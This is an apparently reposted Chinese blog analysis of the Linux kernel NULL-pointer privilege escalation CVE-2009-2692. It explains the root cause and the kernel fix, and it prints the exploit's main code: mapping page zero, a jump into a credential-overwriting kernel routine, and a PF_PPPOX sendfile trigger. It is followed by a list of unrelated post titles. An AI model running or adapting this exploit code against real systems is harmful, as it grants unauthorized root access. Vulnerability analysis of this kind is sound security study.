0地址的妙用(CVE-2009-2692)
来源:互联网 发布:d在c语言中是什么意思 编辑:程序博客网 时间:2024/05/23 21:05
/*
本文章由 莫灰灰 编写,转载请注明出处。
作者:莫灰灰 邮箱: minzhenfei@163.com
*/
漏洞成因
其实0地址的妙用在windows上也有很多的利用,在windows的主动防御开发过程中,很多病毒都是用NULL地址来绕过主防的拦截。原理其实也很简单,因为开发主防的程序员经常会在自己的hook函数开头检查传进来的参数,例如if (param == NULL) return NTSTATUS_SUCCESS;这样的代码。
在Linux内核中,每个套接字都有一个名为proto_ops的相关操作结构,其中包含有用于实现各种功能(如接受、绑定、关闭等)的函数指针。如果对特定套接字的操作没有实现,就应将相关的函数指针指向预定义的存根。例如,如果没有定义accept功能,就应指向sock_no_accept()。但是,如果某些指针没有初始化,就可能出现其他情况。
再回过来说linux上的这个root漏洞,其实原理和windows上差不多,就是申请一块0地址的内存,然后往里面写入自己的函数代码,内核中没有判断是否为NULL就直接调用了,通常情况下,可能内核直接奔溃,但是我们申请了0地址空间之后,就会调用进我们的提取函数中了。
PoC分析
1.程序首先申请一份0地址空间
if ((personality(0xffffffff)) != PER_SVR4) {<span style="white-space:pre"></span>if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {perror("mmap");return -1;}} else {if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {perror("mprotect");return -1;}}
*(char *)0 = '\x90';*(char *)1 = '\xe9';*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
3.提权函数采用了很巧妙的方法去修改uid和gid
uid = getuid();gid = getgid();setresuid(uid, uid, uid);setresgid(gid, gid, gid);
void kernel_code(){int i;uint *p = get_current();for (i = 0; i < 1024-13; i++) {if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0;p[4] = p[5] = p[6] = p[7] = 0;p = (uint *) ((char *)(p + 8) + sizeof(void *));p[0] = p[1] = p[2] = ~0;break;}p++;}exit_kernel();}
4.0地址空间布局好之后,通过调用sendfile触发漏洞,提升权限
if ((fdin = mkstemp(template)) < 0) {perror("mkstemp");return -1;}if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {perror("socket");return -1;}unlink(template);ftruncate(fdin, PAGE_SIZE);sendfile(fdout, fdin, NULL, PAGE_SIZE);
漏洞修复
本来直接调用的sock->ops->sendpage函数被替换成了kernel_sendpage函数,而kernel_sendpage是会对sock->ops->sendpage指针最判空处理的。
int kernel_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags){if (sock->ops->sendpage)return sock->ops->sendpage(sock, page, offset, size, flags);return sock_no_sendpage(sock, page, offset, size, flags);}
0 0
- 0地址的妙用(CVE-2009-2692)
- 浅析CVE-2009-2692
- do...while(0)的妙用(转)
- data[0] 的妙用
- Sleep(0)的妙用
- do/while(0)的妙用
- do/while(0)的妙用
- do/while(0)的妙用
- do...while(0)的妙用
- do/while(0)的妙用
- do/while(0)的妙用
- do...while(0) 的妙用
- do {} while(0)的妙用
- do...while(0)的妙用
- do...while(0)的妙用
- do...while(0)的妙用
- do...while(0)的妙用
- do...while(0)的妙用
- 面向对象JavaScript入门——来自Mozilla的官网教程
- Nucleus PLUS系统架构和组件
- 智慧生活
- Java 中使用POI设置EXCEL单元格格式为文本、小数、百分比、货币、日期、科学计数法和中文大写、单元格边框等
- 利用DHT网络原理制作bt采集蜘蛛,开源版
- 0地址的妙用(CVE-2009-2692)
- 黑马程序员_OC学习之类的深入研究
- THE DRUNK JAILER - POJ 1218 水题
- 现在公开一个DHT网络爬虫网络爬虫供大家一起交流
- 利用DHT网络原理制作bt采集蜘蛛,开源版
- 现在公开一个DHT网络爬虫网络爬虫供大家一起交流
- jsp生成和读取文件
- 【学习并改进】黑马程序员-张孝祥-交通灯管理系统业务
- 上拉电阻、下拉电阻的原理和作用